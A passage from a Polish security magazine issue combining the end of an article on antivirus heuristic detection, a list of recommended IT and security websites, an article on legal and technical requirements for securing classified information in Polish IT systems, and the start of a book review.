klasyfikacji, które faktycznie są wy-
krywaniem anomalii:

•   wszystko,  co  nie  jest  podobne 

do  normalnego  programu,  jest 
niebezpieczne,

•   wszystko,  co  jest  podobne  do 

niebezpiecznego programu, jest 
niebezpieczne.

Pierwszy  rodzaj  wykrywania  ano-
malii był skuteczny w przypadku in-
fektorów  plików.  Wykrywanie  poli-
morfizmu i metamorfizmu, nietypo-
wej budowy plików czy kodu asem-
blerowego  w  punkcie  wejścia  pro-
gramu  pozwalało  na  odróżnienie 

plików  bezpiecznych  od  zainfeko-
wanych.  W  momencie,  gdy  auto-
rzy  złośliwych  programów  prze-
rzucili się na języki wysokiego po-
ziomu, programy bezpieczne i nie-
bezpieczne  stały  się  zbyt  podob-
ne, by można je było łatwo rozróż-
nić.  Twórcom  heurystyk  pozostało 
poszukiwanie  podobieństw  złośli-
wych  programów  do  innych  złośli-
wych  programów.  Co  to  oznacza? 
Współcześnie nie jest możliwe wy-
krycie całkowicie nowego typu za-
grożenia,  gdy  nie  ma  ono  cech 
wspólnych z już istniejącymi.

Na  szczęście  dla  użytkowni-

ków (i twórców programów antywi-
rusowych), autorzy złośliwych pro-
gramów  wprowadzają  w  kolejnych 
wersjach  niewielkie  zmiany,  bazu-
ją  na  istniejących  rozwiązaniach 
i używają do zabezpieczenia plików 
popularnych narzędzi. Dzięki temu 
nowe  zagrożenia  posiadają  wiele 
cech wspólnych na wszystkich po-
ziomach,  od  podobieństwa  binar-
nego, aż do podobieństwa opisane-
go w domenie zachowań (Rysunek 
4). Już po otrzymaniu jednej prób-
ki program antywirusowy, wykorzy-
stujący zaawansowaną heurystykę, 
jest w stanie wykryć wszystkie wa-
rianty tego zagrożenia.

Oszukiwanie heurystyki

Teoretycznie detekcja niebezpiecz-
nego  programu,  którego  autor  po-
starał się, żeby program nie był wy-
kryty,  jest  bardzo  trudna.  W  sytu-
acji, gdy autor złośliwego programu 
napisze go od podstaw, nie wzoru-
jąc  się  na  istniejących  rozwiąza-
niach,  istnieje  dość  nikła  szansa, 
że  algorytm  heurystyczny  go  wy-
kryje. Jeszcze mniejsze jest praw-

dopodobieństwo  wykrycia  takiego 
zagrożenia  przy  użyciu  uogólnio-
nego  wzorca.  Co  więcej,  na  sku-
tek dostępności darmowych lub te-
stowych  wersji  programów  antywi-
rusowych, autor nowego programu 
może sprawdzić, czy jest on wykry-
wany  metodami  heurystycznymi. 
W  takim  przypadku  może  modyfi-
kować  go  do  czasu,  aż  przestanie 
być  uznawany  za  podejrzany.  Ist-
nieją  również  serwisy  online  ska-
nujące plik dużą liczbą silników an-
tywirusowych, takie jak Jotti's mal-
ware scan
 czy VirusTotal, z których 
twórca  robaka  czy  trojana  może 
skorzystać. 

Z tego powodu firmy antywiruso-

we  trzymają  w  rękawie  kilka  asów, 
jakimi  są  niedostępne  ogólnie  me-
chanizmy detekcji, które umożliwia-
ją wczesne wykrycie nowego zagro-
żenia i dostarczenie próbki do firmy 
w celu błyskawicznego przygotowa-
nia remedium.

Podsumowanie

Heurystyka  w  programach  anty-
wirusowych  ewoluuje  wraz  z  za-
grożeniami. Programy antywiruso-
we  od  kilku  lat  nie  służą  jedynie 
do  wykrywania  i  usuwania  wiru-
sów  komputerowych,  ale  skupiają 
się na ochronie użytkownika przed 
szerokim wachlarzem ataków. Sta-
ły  się  pakietami  zabezpieczający-
mi  przed  złośliwym  oprogramo-
waniem, włamaniami, phishingiem, 
rootkitami,  a  nawet  spamem.  Do 
ich wykrycia mogą wykorzystać al-
bo  wzorce,  albo  mechanizmy  pre-
wencyjne,  jakimi  są  współcześnie 
heurystyki.  Co  jest  skuteczniej-
sze?  Wiadomo  –  lepiej  zapobie-
gać, niż leczyć. l

O autorze

Jakub Dębski, starszy analityk w firmie ESET (producent programu NOD32), spe-
cjalizującej się w ochronie proaktywnej z wykorzystaniem najbardziej zaawanso-
wanych mechanizmów analizy heurystycznej. Wcześniej wieloletni pracownik pol-
skich firm antywirusowych. Był kierownikiem projektu silnika mks_vir, następnie 
ArcaVir. Studia na Wojskowej Akademii Technicznej ukończył obroną pracy dy-
plomowej na temat wykorzystania sieci neuronowych w detekcji zagrożeń inter-
netowych. 
Kontakt z autorem:debski.jakub@wp.pl

background image

Strony rekomendowane

Misją  serwisu  jest  zaprezentowanie  języ-

ków  programowania  oraz  ułatwienie  użyt-

kownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona  firmy  świadczącej  profesjonalne 

usługii IT, specjalizującej się w wypożycza-

niu  serwerów  i  macierzy.  Firma  prowadzi 

także centrum szkoleniowe.

http://www.itlpolska.pl

Portal  poświęcony  technikom  programo-

wania oraz sposobom ochrony przed za-

grożeniami jakie płyną z Internetu. Przedsta-

wione techniki służą do celów edukacyjnych, 

nie  należy  ich  wykorzystywać  w  niewłaści-

wy sposób.

http://www.hackerzy.pl

Portal  internetowy  poświęcony  w  całości 

branży IT. Podzielony jest na trzy działy po-

święcone sprzętowi komputerowemu, grom 

i rozrywce oraz najnowszym aplikacjom. 

http://www.pcarena.pl/index.php

Do niedawna termin hacking był zarezerwo-

wany tylko dla profesjonalistów. Na tym por-

talu można dowiedzieć się więcej o tym za-

gadnieniu. Znajdują się na nim również aktu-

alności i obszerny dzial downloads.  

http://www.hakerczat.prv.pl/index.html

Jest to portal dla wszystkich co interesują 

się tematyką bezpieczeństwa, audytem, IT 

Governance w sieciach i systemach telein-

formatycznych, a także ochroną danych.

http://www.locos.pl/

Witryna  poświęcona  w  całości  tematy-

ce hakingu. Początkujący w tej dziedzinie 

znajdą  na  niej  działy,  ktore  im  umożliwią 

rozpoczęcie nauki.

http://www.haker.ocom.pl/

Misją  serwisu  jest  dostarczenie  dużej  ilo-

ści  informacji  z  zakresu  informatyki.  Znaj-

dują się na nim ciekawe artykuły, najśwież-

sze informacje z rynku IT, recenzje książek 

jak i kursy tworzenia portali www. 

http://www.swww.pl/

Serwis  poświęcony  branży  IT  oferujący 

codzienne  newsy,  artykuły,  recenzje  ma-

gazynów, testy oraz forum dyskusyjne.  

http://www.webhat.pl/index.php

Strona dla każdego webmastera i hackera. 

Jeśli zawsze chciałeś stworzyć swoją stro-

nę internetowej lub poznać haking od pod-

szewki, to ten serwis ci w tym pomoże.

http://web4u.neth.pl/

Strona internetowa firmy Fit Consulting spe-

cjalizującej  się  w  nowoczesnych  rozwią-

zaniach  informatycznych,  zaczynając  od 

sprzedaży sprzętu komputerowego i świad-

czeniu usług po zaawansowane rozwiązania 

zarządzania przedsiębiorstwem.

http://www.fit-consulting.pl/

Strona koła naukowego PK IT Security Gro-

up. Koło ma na celu dostarczanie informacji 

związanych z bezpieczeństwem.

http://www.pkitsec.pl/

Strony rekomendowane

background image

www.hakin9.org

hakin9 Nr 01/2008

66

Bezpieczna Firma

Z

agadnienie  bezpieczeństwa  syste-
mów teleinformatycznych nabiera co-
raz większego znaczenia, ponieważ to 

w  nich  informacja  jest  coraz  częściej  prze-
twarzana  i  przechowywana.  Pod  pojęciem 
bezpieczeństwa  teleinformatycznego  infor-
macji  niejawnych  należy  rozumieć  ochro-
nę  informacji  niejawnych,  które  przetwarza-
ne  są  w  systemach  i  sieciach  teleinforma-
tycznych,  przed  utratą  właściwości  gwaran-
tujących bezpieczeństwo – a w szczególno-
ści przed utratą poufności, dostępności i in-
tegralności.

Za  bezpieczeństwo  przetwarzania  infor-

macji niejawnych w systemach i sieciach te-
leinformatycznych odpowiada kierownik jed-
nostki  organizacyjnej.  Bezpieczeństwo  tele-
informatyczne należy zapewnić przed rozpo-
częciem oraz w trakcie przetwarzania infor-
macji niejawnych. Rozdział 10 – Bezpieczeń-
stwo  systemów
  i  sieci  teleinformatycznych 
–  ustawy  o  ochronie  informacji  niejawnych 
określa  podstawowe  wymagania  związane 
z elektronicznym przetwarzaniem informacji 
niejawnych.  Szczegółowe  wymagania  tech-
niczne i organizacyjne związane z przetwa-
rzaniem informacji niejawnych w systemach 

i  sieciach  teleinformatycznych  oraz  sposób 
opracowywania  dokumentacji  bezpieczeń-
stwa teleinformatycznego określa zaś rozpo-
rządzenie Prezesa Rady Ministrów w sprawie 
podstawowych  wymagań  bezpieczeństwa 
teleinformatycznego. Kierownik jednostki or-
ganizacyjnej dla każdego sytemu lub sieci te-
leinformatycznej, w której przetwarza się in-
formacje niejawne, powinien wyznaczyć ad-
ministratora sytemu i inspektora bezpieczeń-
stwa teleinformatycznego. Administrator sys-
temu zgodnie z zapisami ustawy odpowiada 
za  funkcjonowanie  systemu  lub  sieci  telein-
formatycznej  oraz  za  przestrzeganie  zasad 
i wymagań bezpieczeństwa systemów i sie-
ci  teleinformatycznych,  natomiast  inspek-

Bezpieczeństwo 

teleinformatyczne 

informacji niejawnych

Andrzej Guzik

stopień trudności

Metody ochrony informacji niejawnych przetwarzanych 

w systemach i sieciach teleinformatycznych, oprócz spełnienia 

wymagań wynikających z przepisów prawa, wymagają 

uwzględnienia wytycznych służb ochrony państwa dotyczących 

bezpieczeństwa teleinformatycznego.

Z artykułu dowiesz się

•   jak zapewnić bezpieczeństwo informacjom nie-

jawnym przetwarzanym w systemach i sieciach 
teleinformatycznych

Co powinieneś wiedzieć

•   znać  podstawowe  zasady  ochrony  informacji 

niejawnych

background image

Bezpieczeństwo informatyczne informacji niejawnych

hakin9 Nr 01/2008

www.hakin9.org

67

tor  bezpieczeństwa  teleinforma-
tycznego,  pracownik  pionu  ochro-
ny, odpowiada za bieżącą kontrolę 
zgodności  funkcjonowania  syste-
mu  lub  sieci  teleinformatycznej  ze 
szczególnymi  wymaganiami  bez-
pieczeństwa oraz za kontrolę prze-
strzegania  procedur  bezpiecznej 
eksploatacji.  Ustawa  określa  rów-
nież  wymagania  dla  osób  odpo-
wiedzialnych  za  bezpieczeństwo 
teleinformatyczne.  Stanowisko  lub 
funkcję  administratora  sytemu  al-
bo  inspektora  bezpieczeństwa  te-
leinformatycznego  mogą  pełnić 
osoby,  które  posiadają  obywatel-
stwo  polskie,  posiadają  poświad-
czenie  bezpieczeństwa  odpowied-
nie  do  klauzuli  informacji  niejaw-
nych przetwarzanych w systemach 
lub  sieciach  teleinformatycznych, 
które  odbyły  przeszkolenie  w  za-
kresie  ochrony  informacji  niejaw-
nych  i  specjalistyczne  szkolenie 
z  zakresu  bezpieczeństwa  tele-
informatycznego 

prowadzonego 

przez służby ochrony państwa. Ak-
tualnie kurs dla kandydatów na ad-
ministratorów  systemu  i  inspekto-
rów  bezpieczeństwa  teleinforma-
tycznego  trwa  jeden  dzień  i  kosz-
tuje 250 złotych. Systemy i sieci te-
leinformatyczne,  w  których  prze-
twarza  się  informacje  niejawne, 
podlegają akredytacji przez służby 
ochrony  państwa.  Dopuszczenie 
sytemu lub sieci teleinformatycznej 
do  pracy  następuje  na  podstawie 

dokumentacji  bezpieczeństwa  te-
leinformatycznego,  na  którą  skła-
dają  się  szczególne  wymagania 
bezpieczeństwa  (SWB)  i  procedu-
ry bezpiecznej eksploatacji (PBE). 
W zależności od klauzuli informacji 
niejawnych przetwarzanych w sys-
temie,  ww.  dokumentacja  podle-
ga  uzgodnieniu  lub  zatwierdzeniu. 
W przypadku informacji niejawnych 
stanowiących  tajemnicę  państwo-
wą dokumentacja ta jest indywidu-
alnie  zatwierdzana  przez  właści-
wą służbę ochrony państwa (Agen-
cję  Bezpieczeństwa  Wewnętrzne-
go  lub  Służbę  Kontrwywiadu  Woj-
skowego), w terminie 30 dni od jej 
otrzymania. Natomiast w przypad-
ku tajemnicy służbowej niewniesie-
nie zastrzeżeń w terminie 30 dni od 
jej  przedstawienia  przez  kierowni-
ka  jednostki  organizacyjnej  służ-
bom  ochrony  państwa  upoważnia 

do  rozpoczęcia  przetwarzania  in-
formacji niejawnych w systemie lub 
sieci  teleinformatycznej.  Dodat-
kowo  dla  systemów  i  sieci,  w  któ-
rych przetwarza się tajemnicę pań-
stwową,  wymagany  jest  certyfikat 
akredytacji  bezpieczeństwa  tele-
informatycznego.  Ww.  certyfikat 
wydawany  jest  po  przeprowadze-
niu  postępowań  sprawdzających 
wobec  osób  mających  dostęp  do 
systemu  lub  sieci,  po  zatwierdze-
niu przez właściwą służbę ochrony 
państwa SWB i PBE oraz po prze-
prowadzeniu  audytu  bezpieczeń-
stwa  systemu  lub  sieci  teleinfor-
matycznej.  Ww.  audyt  ma  na  celu 
weryfikację  poprawności  realizacji 
wymagań  i  procedur  określonych 
SWB i PBE

Dokumentacja 

Dokumentację bezpieczeństwa te-
leinformatycznego,  na  którą  skła-
dają  się  SWB  i  PBE,  opracowuje 
się po przeprowadzeniu analizy ry-
zyka  z  uwzględnieniem  warunków 
charakterystycznych  dla  jednost-
ki  organizacyjnej,  w  której  mają 
być  przetwarzane  informacje  nie-
jawne.  Analizy  ryzyka  można  do-
konać  stosując  na  przykład  meto-
dy opisane w raporcie technicznym 
ISO/IEC  TR  13335-3  Technika  in-
formatyczna  –  Wytyczne  do  za-
rządzania  bezpieczeństwem  sys-
temów  informatycznych,  Część  3:
 
Techniki  zarządzania  bezpieczeń-
stwem systemów informatycznych. 
Raport przedstawia cztery warian-
ty podejścia do analizy ryzyka: po-
dejście  podstawowego  poziomu 

Tabela 1. 

Zawartość dokumentu Szczególne Wymagania Bezpieczeństwa

Lp. Zawartość dokumentu SWB

1

osoby odpowiedzialne za wdrożenie środków zapewniających bez-
pieczeństwo teleinformatyczne

2

zadania osób odpowiedzialnych za bezpieczeństwo teleinformatycz-
ne

3

granice i lokalizacja stref kontrolowanego dostępu oraz środki ich 
ochrony

4

środki ochrony kryptograficznej, elektromagnetycznej, technicznej 
lub organizacyjnej systemu lub sieci teleinformatycznej

5

inne zastosowane środki ochrony zapewniające bezpieczeństwo te-
leinformatyczne informacji niejawnych

6

zasady zarządzania ryzykiem

7

zasady szkolenia z zakresu bezpieczeństwa teleinformatycznego 
osób odpowiedzialnych za bezpieczeństwo teleinformatyczne oraz 
osób uprawnionych do pracy w systemie lub sieci teleinformatycznej

Rysunek 1. 

Bezpieczne stanowisko komputerowe – wersja z obudową 

ekranującą

background image

hakin9 Nr 01/2008

www.hakin9.org

Bezpieczna Firma

68

bezpieczeństwa,  podejście  niefor-
malne,  szczegółową  analizę  ryzy-
ka  i  podejście  mieszane.  Podsta-
wowa różnica pomiędzy nimi doty-
czy  stopnia  szczegółowości  anali-
zy ryzyka. 

W  oparciu  o  wyniki  analizy  ry-

zyka  dobiera  się  zabezpieczenia. 
Zastosowane  zabezpieczenia  po-
winny  być  efektywne  kosztowo 
i  uwzględniać  wymagania  wynika-
jące  z  przepisów  prawa,  wymaga-
nia  biznesowe  i  wymagania  będą-
ce wynikiem analizy ryzyka. Ryzy-
ko,  jakie  powstaje  po  wprowadze-
niu zabezpieczeń, nazywamy ryzy-
kiem szczątkowym. 

SWB  powinny  w  sposób  kom-

pletny  i  wyczerpujący  opisywać 
budowę,  zasady  działania  i  eks-
ploatacji  oraz  charakterystykę  sy-
temu  lub  sieci  teleinformatycznej. 
Dane o systemie lub sieci teleinfor-
matycznej powinny obejmować: lo-
kalizację systemu, typ wykorzysty-
wanych urządzeń oraz oprogramo-
wania,  sposób  realizacji  połączeń 
wewnętrznych  i  zewnętrznych, 
konfigurację  sprzętową  i  ustawie-

nie  mechanizmów  zabezpieczają-
cych oraz opis środowiska eksplo-
atacji  (opis  środowiska  globalne-
go,  środowiska  lokalnego  i  środo-
wiska  elektronicznego).  Natomiast 
charakterystyka  systemu  lub  sieci 
teleinformatycznej  powinna  okre-
ślać między innymi klauzulę tajno-
ści informacji niejawnych, które bę-
dą  w  nich  przetwarzane,  katego-

rie  uprawnień  osób  uprawnionych 
do pracy w systemie lub sieci w za-
kresie  dostępu  do  przetwarzanych 
w nich informacji niejawnych (w za-
leżności  od  klauzuli  tajności  tych 
informacji)  oraz  tryb  bezpieczeń-
stwa  pracy  systemu  lub  sieci  tele-
informatycznej  (dedykowany,  sys-
temowo-podwyższony lub wielopo-
ziomowy).

SWB  opracowuje  się  w  fazie 

projektowania,  na  bieżąco  rozwi-
ja  w  fazie  wdrażania  i  modyfikuje 
w fazie eksploatacji – przed doko-
naniem zmian w systemie lub sieci 
teleinformatycznej. Z kolei PBE po-
winny  opisywać  sposób  i  tryb  po-
stępowania  w  sprawach  związa-
nych z bezpieczeństwem informacji 
oraz określać zakres odpowiedzial-
ności użytkowników systemu i sie-
ci,  a  także  pracowników  mających 
do nich dostęp.

PBE opracowuje się i uzupełnia 

w  fazie  wdrażania  oraz  modyfikuje 
w fazie eksploatacji – przed dokona-
niem zmian w systemie lub sieci te-
leinformatycznej. 

Podstawowe 

wymagania

Bezpieczeństwo  teleinformatycz-
ne  informacji  niejawnych  przetwa-
rzanych  w  systemach  lub  sieciach 
teleinformatycznych  zapewnia  się 
poprzez:  ochronę  fizyczną,  ochro-
nę  elektromagnetyczną,  ochro-
nę  kryptograficzną,  niezawodność 

Tabela 2. 

Wykaz obowiązkowych procedur bezpiecznej eksploatacji

Lp. Procedury bezpieczeństwa

1

administrowania systemem lub siecią teleinformatyczną

2

bezpieczeństwa osobowego

3

bezpieczeństwa dokumentów  i materiałów niejawnych, w tym pro-
cedur sporządzania kopii  z tych dokumentów oraz niszczenia doku-
mentów i ich kopii 

4

ochrony kryptograficznej, elektromagnetycznej, fizycznej, niezawod-
ności transmisji, kontroli dostępu do urządzeń systemu lub sieci tele-
informatycznej 

5

bezpieczeństwa urządzeń i oprogramowania

6

zapewnienia ciągłości działania systemu lub sieci teleinformatycznej 

7

zarządzania konfiguracją

8

audytu bezpieczeństwa

Rysunek 2. 

Bezpieczne stanowisko komputerowe

Tabela 3. 

Elementy bezpieczeństwa teleinformatycznego 

informacji niejawnych

Lp. Elementy bezpieczeństwa teleinformatycznego 

informacji niejawnych

1

ochrona fizyczna

2

kontrola dostępu do urządzeń systemu lub sieci teleinformatycznej

3

niezawodność transmisji

4

ochrona kryptograficzna

5

ochrona elektromagnetyczna

background image

Bezpieczeństwo informatyczne informacji niejawnych

hakin9 Nr 01/2008

www.hakin9.org

69

transmisji  i  kontrolę  dostępu  do 
urządzeń  systemu  lub  sieci  telein-
formatycznej.

Ochrona fizyczna

Ochronę fizyczną informacji niejaw-
nych  zapewnia  się  poprzez  utwo-
rzenie stref kontrolowanego dostę-
pu  (strefa  administracyjna,  strefa 
bezpieczeństwa,  specjalna  strefa 
bezpieczeństwa)  oraz  zastosowa-
nie środków ochrony zabezpiecza-
jących pomieszczenia w tych stre-
fach.  Środki  ochrony  fizycznej  po-
winny  zapewniać  ochronę  fizycz-
ną  pomieszczeń  przed:  nieupraw-
nionym  dostępem,  podsłuchem
i  podglądem.  Przy  stosowaniu 
środków  ochrony  fizycznej  obo-
wiązuje zasada adekwatności, tzn. 
środki  ochrony  fizycznej  powinny 
odpowiadać  klauzuli  tajności  i  ilo-
ści  informacji  niejawnych,  liczbie 
i  poziomowi  dostępu  do  tych  in-
formacji  zatrudnionych  osób  oraz 
uwzględniać wytyczne służb ochro-
ny państwa przed zagrożeniami ze 
strony  obcych  służb  specjalnych 

(w  tym  także  w  stosunku  do  pań-
stwa sojuszniczego). Strefa admini-
stracyjna  powinna  zapewniać  kon-
trolę  osób  i  pojazdów,  natomiast 
w  strefie  bezpieczeństwa  należy 

zapewnić  kontrolę  wejść  i  wyjść 
oraz  kontrolę  przebywania.  W  tym 
celu  należy  wprowadzić  system 
przepustek lub inny system kontro-
li dostępu uprawniający do wejścia 

Rysunek 3. 

Przykłady obudów ekranujących

Rysunek 4. 

Przykład pomieszczenia do przetwarzania informacji niejawnych

���������������

������������

������������

��������������

����������������

�����������������

��������

��

����������������������������������

�����������
�������

��������������

����
�������������
����������������
����������������

���������������

�����������

������������

�������������

������

��������������������������������������������������������������������
������������������������������������������������������
���������������������������������������������������������������������

background image

hakin9 Nr 01/2008

www.hakin9.org

Bezpieczna Firma

70

do  strefy  bezpieczeństwa,  a  także 
zorganizować  system  przechowy-
wania kluczy do pomieszczeń chro-
nionych,  szaf  pancernych  i  innych 
pojemników  służących  do  prze-
chowywania  informacji  niejawnych 
stanowiących  tajemnicę  państwo-
wą.  Środki  ochrony  fizycznej  po-
winny  posiadać  certyfikaty  i  świa-
dectwa  kwalifikacyjne  przyznane 
na  podstawie  innych  przepisów, 
np. w oparciu o polskie normy.

Informacje  niejawne  o  klauzu-

li  zastrzeżone  można  przetwarzać 
w strefie administracyjnej, natomiast 
informacje  stanowiące  tajemnicę 
państwową  i  służbową  o  klauzuli 
poufne  można  przetwarzać  w  stre-
fie  bezpieczeństwa.  Przetwarza-
nie informacji niejawnych o klauzuli 
zastrzeżone wiąże się z zapewnie-
niem ochrony fizycznej, kontroli do-
stępu do urządzeń systemu lub sie-
ci teleinformatycznej oraz z zapew-
nieniem  niezawodności  transmisji. 
W  przypadku  przetwarzania  infor-
macji  niejawnych  stanowiących  ta-
jemnicę  państwową  i  tajemnicę 
służbową  o  klauzuli  poufne  należy 
–  oprócz  wymagań  jak  dla  klauzu-
li  zastrzeżone  –  zapewnić  ochronę 
kryptograficzną  i  ochronę  elektro-
magnetyczną. 

Ochrona 

elektromagnetyczna

Ochrona  elektromagnetyczna  sys-
temu  lub  sieci  teleinformatycz-
nej  polega  na  niedopuszczeniu  do 
utraty  poufności  i  dostępności  in-
formacji  niejawnych  przetwarza-
nych  w  urządzeniach  teleinforma-
tycznych.  Utrata  poufności  nastę-
puje  na  skutek  emisji  ujawniającej 
pochodzącej z tych urządzeń. Na-
tomiast  utrata  dostępności  nastę-
puje  w  wyniku  zakłócenia  pracy 
urządzeń  teleinformatycznych  za 
pomocą  impulsów  elektromagne-
tycznych  o  dużej  mocy.  Ochronę 
elektromagnetyczną  zapewnia  się 
przez  umieszczanie  urządzeń  te-
leinformatycznych,  połączeń  i  linii 
w  strefach  kontrolowanego  dostę-
pu spełniających wymagania w za-
kresie  tłumienności  elektromagne-
tycznej lub przez zastosowanie od-

Podstawowe pojęcia związane z bezpieczeństwem 

teleinformatycznym

•   bezpieczeństwo teleinformatyczne – należy przez nie rozumieć ochronę informacji 

niejawnych przed utratą właściwości gwarantujących bezpieczeństwo, w szczegól-
ności przed utratą poufności, dostępności i integralności,

•   incydent bezpieczeństwa teleinformatycznego – każde zdarzenie naruszają-

ce bezpieczeństwo teleinformatyczne, spowodowane w szczególności awa-
rią  systemu  lub  sieci  teleinformatycznej,  działaniem  osób  uprawnionych  lub 
nieuprawnionych do pracy w tym systemie lub sieci albo zaniechaniem osób 
uprawnionych,  

•   akredytacja  bezpieczeństwa  teleinformatycznego  –  dopuszczenie  systemu  lub 

sieci  teleinformatycznej  do  wytwarzania,  przetwarzania,  przechowywania  lub 
przekazywania informacji niejawnych,

•   certyfikat akredytacji bezpieczeństwa teleinformatycznego – dopuszczenie syste-

mu lub sieci teleinformatycznej do przetwarzania informacji niejawnych stanowią-
cych tajemnicę państwową, 

•   dokumentacja  bezpieczeństwa  teleinformatycznego  systemu  lub  sieci  teleinfor-

matycznej – szczególne wymagania bezpieczeństwa oraz procedury bezpiecznej 
eksploatacji danego systemu lub sieci teleinformatycznej, sporządzone zgodnie 
z zasadami określonymi w ustawie,

•   szczególne wymagania bezpieczeństwa (SWB) – dokument wyczerpująco opi-

sujący budowę oraz zasady działania i eksploatacji systemu lub sieci teleinfor-
matycznej,

•   procedury bezpiecznej eksploatacji (PBE) – dokument określający zasady i tryb 

postępowania w sprawach związanych z bezpieczeństwem teleinformatycznym, 
a  także  zakres  odpowiedzialności  użytkowników  systemu  lub  sieci  teleinforma-
tycznej oraz personelu teleinformatycznego,

•   administrator systemu – osoba lub zespół osób odpowiedzialnych za funk-

cjonowanie  systemów  lub  sieci  teleinformatycznej  oraz  za  przestrzeganie 
zasad i wymagań bezpieczeństwa systemów i sieci teleinformatycznej,

•   inspektor  bezpieczeństwa  teleinformatycznego  –  pracownik  pionu  ochrony 

odpowiedzialny  za  bieżącą  kontrolę  zgodności  funkcjonowania  systemu  lub 
sieci teleinformatycznej ze SWB oraz za kontrolę przestrzegania PBE.

Podstawy prawne

•   Rozdział  10  –  Bezpieczeństwo  systemów  i  sieci  teleinformatycznych  –  ustawa 

z dnia 22 stycznia 1999 roku o ochronie informacji niejawnych (Dz. U. z 2005 r. 
Nr 196, poz. 1631 ze zmianami).

•   Rozporządzenie Prezesa Rady Ministrów z dnia 25 sierpnia 2005 roku w sprawie 

podstawowych  wymagań  bezpieczeństwa  teleinformatycznego  (Dz.  U.  Nr  171, 
poz. 1433).

•   Zalecenia  Departamentu  Bezpieczeństwa  Teleinformatycznego  Agencji 

Bezpieczeństwa Wewnętrznego w sprawie bezpieczeństwa teleinformatycz-
nego.

powiednich  urządzeń  teleinforma-
tycznych,  tzw.  bezpiecznych  sta-
nowisk komputerowych, które speł-
niają normę TEMPEST (Temporary 
Emanation and Spurious Transmis-
sion
),  połączeń  i  linii  o  obniżonym 
poziomie  emisji,  czy  też  wreszcie 
ekranowanie  urządzeń  teleinfor-
matycznych,  połączeń  i  linii  z  jed-
noczesnym  filtrowaniem  zewnętrz-

nych  linii  zasilających  i  sygnało-
wych. Urządzenia klasy TEMPEST 
wykonywane  są  w  trzech  klasach 
bezpieczeństwa elektromagnetycz-
nego:  AMSG  720  B,  AMSG  788, 
AMSG  784
.  Środki  ochrony  elek-
tromagnetycznej powinny posiadać 
certyfikat  ochrony  elektromagne-
tycznej wydany przez służby ochro-
ny  państwa.  Listę  certyfikowanych 

background image

Bezpieczeństwo informatyczne informacji niejawnych

środków  oraz  ich  producentów 
można  znaleźć  na  stronie  interne-
towej ABW (www.abw.gov.pl).

Ochrona 

kryptograficzna

Ochrona  kryptograficzna  informa-
cji  niejawnych,  które  przetwarza-
ne są w systemie lub sieci teleinfor-
matycznej, polega na zastosowaniu 
mechanizmów  gwarantujących  ich 
poufność,  integralność  oraz  uwie-
rzytelnienie.  Siła  mechanizmów 
kryptograficznych  musi  być  odpo-
wiednia  do  klauzuli  informacji  nie-
jawnych.  Ochronę  kryptograficzną 
stosuje  się  w  przypadku  przekazy-
wania informacji niejawnych – w for-
mie  transmisji  lub  utrwalonych  na 
elektronicznych nośnikach informa-
cji  –  poza  strefę  kontrolowanego
dostępu.  Ochronę  kryptograficz-
ną  stosuje  się  od  klauzuli  poufne 
wzwyż.  Środki  ochrony  kryptogra-
ficznej  powinny  posiadać  certyfi-
kat  ochrony  kryptograficznej  wyda-

ny  przez  służby  ochrony  państwa. 
Listę certyfikowanych środków oraz 
ich producentów można znaleźć na 
stronie internetowej ABW

Niezawodność 

transmisji

Niezawodność transmisji polega na 
zapewnieniu integralności i dostęp-
ności informacji niejawnych przeka-
zywanych  w  systemach  i  sieciach 
teleinformatycznych.  Zapewnia  się 
ją w szczególności poprzez zapew-
nienie zapasowych łączy telekomu-
nikacyjnych. 

Kontrola dostępu

W celu zapewnienia kontroli dostę-
pu  do  systemu  lub  sieci  teleinfor-
matycznej  kierownik  jednostki  or-
ganizacyjnej  lub  osoba  przez  nie-
go  upoważniona  powinna  usta-
lić  warunki  i  sposób  przydzielania 
uprawnień  osobom  uprawnionym 
do  pracy  w  systemie  lub  sieci  te-
leinformatycznej.  Natomiast  admi-

nistrator systemu powinien określić 
warunki oraz sposób przydzielania 
tym  osobom  kont  i  mechanizmów 
kontroli dostępu, a także zapewnić 
ich  właściwe  wykorzystanie.  Przy 
przetwarzaniu  informacji  niejaw-
nych  stanowiących  tajemnicę  pań-
stwową należy zadbać o uniemożli-
wienie jednej osobie w sposób nie-
kontrolowany  dostępu  do  wszyst-
kich zasobów systemu lub sieci te-
leinformatycznej.

Podsumowanie

Przepisy prawa określają minimalne 
wymagania związane z bezpieczeń-
stwem  teleinformatycznym  informa-
cji  niejawnych.  Oprócz  nich  należy 
uwzględnić  zalecenia  służb  ochro-
ny  państwa  dotyczące  bezpieczeń-
stwa  teleinformatycznego  informacji 
niejawnych  oraz  polskie  normy  do-
tyczące  bezpieczeństwa  informacji. 
Normy  te  stanowią  źródło  tzw.  do-
brych praktyk, a w szczególności są 
to:  PN-ISO/IEC  17799:  2007  Tech-
nika  informatyczna  –  Techniki  bez-
pieczeństwa  –  Praktyczne  zasady 
zarządzania  bezpieczeństwem  in-
formacji  i  PN-ISO/IEC  27001:  2007 
Technika  informatyczna  –  Techniki 
bezpieczeństwa  –  Systemy  zarzą-
dzania  bezpieczeństwem  informacji 
– Wymagania.
 l

R

E

K

L

A

M

A

O autorze

Andrzej Guzik – audytor systemów zarządzania jakością i zarządzania bezpieczeń-
stwem informacji, specjalista w zakresie ochrony informacji prawnie chronionych, re-
daktor portalu www.ochronainformacji.pl
Kontakt z autorem: a.guzik@ochronainformacji.pl

background image

hakin9 Nr 01/2008

www.hakin9.org

72

Księgozbiór

Księgozbiór

hakin9 Nr 01/2008

www.hakin9.org

73

Tytuł: E-biznes bez ryzyka. Zarządzanie bezpieczeństwem w Sieci

Autor: Jonathan Reuvid

Wydawca: Helion

Rok wydania w Polsce: 2007

Liczba stron: 256

E-biznes  i  bezpieczeństwo  to  słowa,  które  w  ostat-
nim  czasie  robią  furorę.  Większość  przedsiębiorstw 
poza  fizycznymi  oddziałami  posiada  te  mniej  namacal-
ne – wirtualne. Z drugiej strony obserwuje się coraz bar-
dziej wyrafinowane techniki oszustw i wyłudzeń, żerujące 
na  nieświadomych  i  naiwnych  użytkownikach  Internetu. 
Właśnie te zagadnienia – i wiele więcej –  porusza Jona-
than Reuvid w swojej książce pod tytułem E-biznes bez 
ryzyka. Zarządzanie bezpieczeństwem w Sieci

Pozycja została podzielona na pięć głównych części 

traktujących kolejno o: zagrożeniach dla informacji i sys-
temów  informacyjnych,  rodzajach  ryzyka  i  źródłach 
zagrożeń,  ochronie  oprogramowania  i  danych  osobo-
wych,  zarządzaniu  działaniami  operacyjnymi  i  dobrej 
